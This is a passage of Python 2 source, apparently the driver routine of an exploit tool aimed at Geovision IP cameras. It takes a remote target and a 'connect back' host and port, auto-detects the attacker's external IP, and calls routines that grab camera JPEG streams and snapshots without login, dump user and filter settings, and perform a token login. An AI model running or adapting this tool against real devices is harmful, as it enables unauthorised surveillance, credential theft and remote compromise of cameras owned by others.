    		rhost = args.rhost
    		IP = args.rhost
    
    	if args.lport:
    		lport = args.lport
    
    	if args.lhost:
    		lhost = args.lhost
    	elif args.autoip:
    		# HTTP check of our external IP
    		try:
    
    			headers = {
    				'Connection': 'close',
    				'Accept'	:	'gzip, deflate',
    				'Accept-Language'	:	'en-US,en;q=0.8',
    				'Cache-Control'	:	'max-age=0',
    				'User-Agent':'Mozilla'
    				}
    
    			print "[>] Trying to find out my external IP"
    			lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None)
    			if verbose:
    				print "[Verbose] Detected my external IP:",lhost
    		except Exception as e:
    			print "[<] ",e
    			sys.exit(1)
    
    	# Check if RPORT is valid
    	if not Validate(verbose).Port(rport):
    		print "[!] Invalid RPORT - Choose between 1 and 65535"
    		sys.exit(1)
    
    	# Check if RHOST is valid IP or FQDN, get IP back
    	rhost = Validate(verbose).Host(rhost)
    	if not rhost:
    		print "[!] Invalid RHOST"
    		sys.exit(1)
    
    	# Check if LHOST is valid IP or FQDN, get IP back
    	lhost = Validate(verbose).Host(lhost)
    	if not lhost:
    		print "[!] Invalid LHOST"
    		sys.exit(1)
    
    	# Check if RHOST is valid IP or FQDN, get IP back
    	rhost = Validate(verbose).Host(rhost)
    	if not rhost:
    		print "[!] Invalid RHOST"
    		sys.exit(1)
    
    
    #
    # Validation done, start print out stuff to the user
    #
    	if args.https:
    		print "[i] HTTPS / SSL Mode Selected"
    	print "[i] Remote target IP:",rhost
    	print "[i] Remote target PORT:",rport
    	if not args.geotoken and not args.dump and not args.deviceinfo:
    		print "[i] Connect back IP:",lhost
    		print "[i] Connect back PORT:",lport
    
    	rhost = rhost + ':' + rport
    
    
    	headers = {
    		'Connection': 'close',
    		'Content-Type'	:	'application/x-www-form-urlencoded',
    		'Accept'	:	'gzip, deflate',
    		'Accept-Language'	:	'en-US,en;q=0.8',
    		'Cache-Control'	:	'max-age=0',
    		'User-Agent':'Mozilla'
    		}
    
    	# Print Model and Firmware version
    	Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
    	if deviceinfo:
    		sys.exit(0)
    
    
    	# Geovision token login within the function
    	#
    	if GEOtoken:
    		Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
    		if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken():
    			print "[!] Failed"
    			sys.exit(1)
    		else:
    			sys.exit(0)
    
    
    	if anonymous:
    		if jpegstream:
    			if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
    				print "[!] Failed"
    				sys.exit(0)
    		elif picturecatch:
    			if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
    				print "[!] Failed"
    				sys.exit(0)
    		else:
    			print "[!] Needed: --anonymous [--picturecatch | --jpegstream]"
    			sys.exit(1)
    
    	else:
    		#
    		# Geovision Login needed
    		#
    		if usersetting:
    			if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
    				if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings):
    					print "[!] Failed"
    					sys.exit(0)
    		elif filtersetting:
    			if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
    				if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting():
    					print "[!] Failed"
    					sys.exit(0)
    		elif jpegstream:
    			if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
    				if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
    					print "[!] Failed"
    					sys.exit(0)
    		elif picturecatch:
    			if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
    				if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
    					print "[!] Failed"
    					sys.exit(0)
    		else:
    			print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting"
    			sys.exit(1)
    
    	sys.exit(0)
    #
    # [EOF]
    #